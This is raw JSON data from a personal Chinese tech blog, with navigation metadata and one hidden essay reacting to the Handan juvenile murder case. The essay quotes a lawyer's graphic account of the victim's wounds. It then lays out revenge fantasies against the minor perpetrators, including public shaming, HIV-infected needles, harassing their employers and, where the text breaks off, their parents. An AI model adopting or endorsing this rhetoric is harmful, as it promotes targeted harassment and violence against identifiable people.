+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}],"blockMap":{"block":{"62779828-3770-4944-923d-0e0a307d9cfe":{"value":{"id":"62779828-3770-4944-923d-0e0a307d9cfe","version":647,"type":"page","content":["68d5a6f5-04eb-4000-84b4-12a4b26ebbd6","9203ae03-d45c-4f73-9780-c4a596383e62","54ae27d7-911b-432f-a21c-d89add64c4b7","e69c165b-bc10-477e-9ea9-77e2d3c3a97f","9f444f62-c23c-4ddb-b3e6-e3ffce4165fa","c1011ac4-c92c-4417-bfaa-aa9a99b9a333","3e3937d1-ae9c-4c17-93a2-0b9b8cf21613","12df1d73-0b3b-468f-be78-4085aa672e7e","065d82bc-b9b8-4a23-8301-0a7184f6555e","49e2b9c2-57cf-4903-b023-891390a5f5e6","e5bbc1aa-4cce-4100-97cc-7e91a5bfd887","c2701d9a-b9be-4146-8cef-9f7ba9bb77f4","c387abb8-0f80-4386-b76a-62d9a062aace","4378f4a3-7730-400b-85c9-7ad572373c02","6f6df956-6233-41e1-b8b6-04276df78565","39239fb6-ff0b-4a2b-aaab-256e40ef3929","9d3fc26e-b533-4151-8e93-4ee92ef74512","39104598-89f2-4f9d-b873-fce46e305dce","e5cbb4cc-f1f9-462b-b473-aa1a25b13af2","79ab1d91-a3d8-45cd-9a00-ec9ebf07af1e","8c917035-dac2-4707-8333-347a39998592","4b61301c-9884-462c-ad6c-d7fd8447cd47","75f502ae-f3f4-4989-9ccd-cfaa0824d0c1","db2f6108-70f4-48de-86ca-b786f1a84a61"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1711119078976,"last_edited_time":1711285869207,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"68d5a6f5-04eb-4000-84b4-12a4b26ebbd6":{"value":{"id":"68d5a6f5-04eb-4000-84b4-12a4b26ebbd6","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084263,"last_edited_time":1711119084263,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"9203ae03-d45c-4f73-9780-c4a596383e62":{"value":{"id":"9203ae03-d45c-4f73-9780-c4a596383e62","type":"header","properties":{"title":[["愤怒"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711119599647,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"54ae27d7-911b-432f-a21c-d89add64c4b7":{"value":{"id":"54ae27d7-911b-432f-a21c-d89add64c4b7","type":"image","properties":{"size":[["216.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/7b3fc4da-dd05-483c-99f8-65ecd595269c/Untitled.png"]]},"format":{"block_width":630,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/7b3fc4da-dd05-483c-99f8-65ecd595269c/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3726541554959786,"block_preserve_scale":true},"created_time":1711119591167,"last_edited_time":1711119596222,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"file_ids":["7b3fc4da-dd05-483c-99f8-65ecd595269c"]}},"e69c165b-bc10-477e-9ea9-77e2d3c3a97f":{"value":{"id":"e69c165b-bc10-477e-9ea9-77e2d3c3a97f","type":"quote","properties":{"title":[["2024年3月11日下午4:00,河北-邯郸-肥乡区-北高镇张庄村,警方发现了失踪了二十几个小时[王子耀]的尸体。\n\n2024年3月18日,[王子耀]父亲和臧梵清律师共同见证了尸检的过程。"]]},"created_time":1711119659021,"last_edited_time":1711120615725,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"9f444f62-c23c-4ddb-b3e6-e3ffce4165fa":{"value":{"id":"9f444f62-c23c-4ddb-b3e6-e3ffce4165fa","type":"header","properties":{"title":[["思考"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1711119084262,"last_edited_time":1711122036789,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"c1011ac4-c92c-4417-bfaa-aa9a99b9a333":{"value":{"id":"c1011ac4-c92c-4417-bfaa-aa9a99b9a333","type":"text","properties":{"title":[["这几天来来回回刷,看臧梵清律师采访,看[王子耀]父亲采访,看社会各界评论,追海内外事件报道。我无法压抑心中的怒火,我清楚3名畜生的结局。他们一定会在出狱后某个傍晚就着啤酒哄笑到,那次谁下手最狠,谁又是怂逼。"]]},"created_time":1711119881948,"last_edited_time":1711120592022,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"3e3937d1-ae9c-4c17-93a2-0b9b8cf21613":{"value":{"id":"3e3937d1-ae9c-4c17-93a2-0b9b8cf21613","type":"quote","properties":{"title":[["臧梵清律师采访 —《澎湃新闻》\n\n“脸部 从这个位置 一直到这个位置”\n“大概有十处刀伤 钝器物的伤口”\n“有可能是铁锹铲进去的”\n“有的这么长 有的这么长”\n“有的这么深”\n”一只眼睛的眼珠子已经翻出来了”\n”颈部 我数了一下大概有七道(伤痕)”\n”腰部大概有七八道 一开始我以为是棍子打击的”\n”后来开腹打开之后”\n”肝脏后面有这么大的一个出血口”\n”前面没有问题”\n”很有可能是从后面 有小孔贯穿进去”\n”[王子耀]的一只手 食指肿胀发青”\n”这个手这个位置断裂”\n"]]},"created_time":1711120599335,"last_edited_time":1711121099509,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"12df1d73-0b3b-468f-be78-4085aa672e7e":{"value":{"id":"12df1d73-0b3b-468f-be78-4085aa672e7e","type":"text","properties":{"title":[["我快丧失理智了,我这几天脑子里始终在复盘如何上刑才能解我心头之恨。"]]},"created_time":1711120805875,"last_edited_time":1711121164966,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"065d82bc-b9b8-4a23-8301-0a7184f6555e":{"value":{"id":"065d82bc-b9b8-4a23-8301-0a7184f6555e","type":"text","properties":{"title":[["我是极端tryCatch爱好者,我会考虑许多不管概率大小的潜在风险。我下意识的会去想我该怎么办,我是这名父亲我该怎么办。"]]},"created_time":1711121165754,"last_edited_time":1711121286007,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"49e2b9c2-57cf-4903-b023-891390a5f5e6":{"value":{"id":"49e2b9c2-57cf-4903-b023-891390a5f5e6","type":"image","properties":{"size":[["185.4KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e645683e-cc5d-4e34-8f89-2190f4ff0a97/Untitled.png"]]},"format":{"block_width":590,"block_height":416,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e645683e-cc5d-4e34-8f89-2190f4ff0a97/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.7050847457627119,"block_preserve_scale":true},"created_time":1711121304072,"last_edited_time":1711121307405,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true,"file_ids":["e645683e-cc5d-4e34-8f89-2190f4ff0a97"]}},"e5bbc1aa-4cce-4100-97cc-7e91a5bfd887":{"value":{"id":"e5bbc1aa-4cce-4100-97cc-7e91a5bfd887","type":"text","properties":{"title":[["由于三名畜生都是未成年,死刑不可能,就算万民血书,也不能专开这个口子。"]]},"created_time":1711120647926,"last_edited_time":1711121567909,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"c2701d9a-b9be-4146-8cef-9f7ba9bb77f4":{"value":{"id":"c2701d9a-b9be-4146-8cef-9f7ba9bb77f4","type":"text","properties":{"title":[["杀人偿命确实天经地义,可中国太大了,每天形形色色的犯罪数不胜数,未成年被保护不受死刑,可以避免许多冤假错案。试想我的12岁孩子如果被特权阶层威逼杀人,没有舆论,严刑逼供,直接判成恶性故意杀人铁案。"]]},"created_time":1711121599935,"last_edited_time":1711122045243,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"c387abb8-0f80-4386-b76a-62d9a062aace":{"value":{"id":"c387abb8-0f80-4386-b76a-62d9a062aace","type":"header","properties":{"title":[["如何"]]},"created_time":1711122045243,"last_edited_time":1711122053899,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"4378f4a3-7730-400b-85c9-7ad572373c02":{"value":{"id":"4378f4a3-7730-400b-85c9-7ad572373c02","type":"quote","properties":{"title":[["[王子耀]父亲采访 —《看看新闻》\n\n“我不甘心”\n“我就要弄清楚”\n“我这么好的一个孩子”\n"]]},"created_time":1711122058327,"last_edited_time":1711122198938,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"6f6df956-6233-41e1-b8b6-04276df78565":{"value":{"id":"6f6df956-6233-41e1-b8b6-04276df78565","type":"text","properties":{"title":[["我当然只想杀了这三个狗日的,但是我不能这样做,这样不能利益最大化。\n我要把愤怒转化成一个极其精密的复仇工程。\n我会一辈子游走在法律边缘,让这三个畜生从头到尾的毁灭才是我最大的动力。"]]},"created_time":1711120628009,"last_edited_time":1711122385872,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"39239fb6-ff0b-4a2b-aaab-256e40ef3929":{"value":{"id":"39239fb6-ff0b-4a2b-aaab-256e40ef3929","type":"text","properties":{"title":[["\n来,你们三个畜生看着我眼睛:\n我会让你持续在高压的舆论环境中社会性死亡\n在日日夜夜的街头,你总能踩到艾滋病毒的针头"]]},"created_time":1711122386421,"last_edited_time":1711122713684,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"9d3fc26e-b533-4151-8e93-4ee92ef74512":{"value":{"id":"9d3fc26e-b533-4151-8e93-4ee92ef74512","type":"text","properties":{"title":[["你隐姓埋名进的每一个黑厂,第二天老板都会收到莫名的电话轰炸"]]},"created_time":1711122809122,"last_edited_time":1711122868371,"parent_id":"62779828-3770-4944-923d-0e0a307d9cfe","parent_table":"block","alive":true}},"39104598-89f2-4f9d-b873-fce46e305dce":{"value":{"id":"39104598-89f2-4f9d-b873-fce46e305dce","type":"text","properties":{"title":[["你父母也必须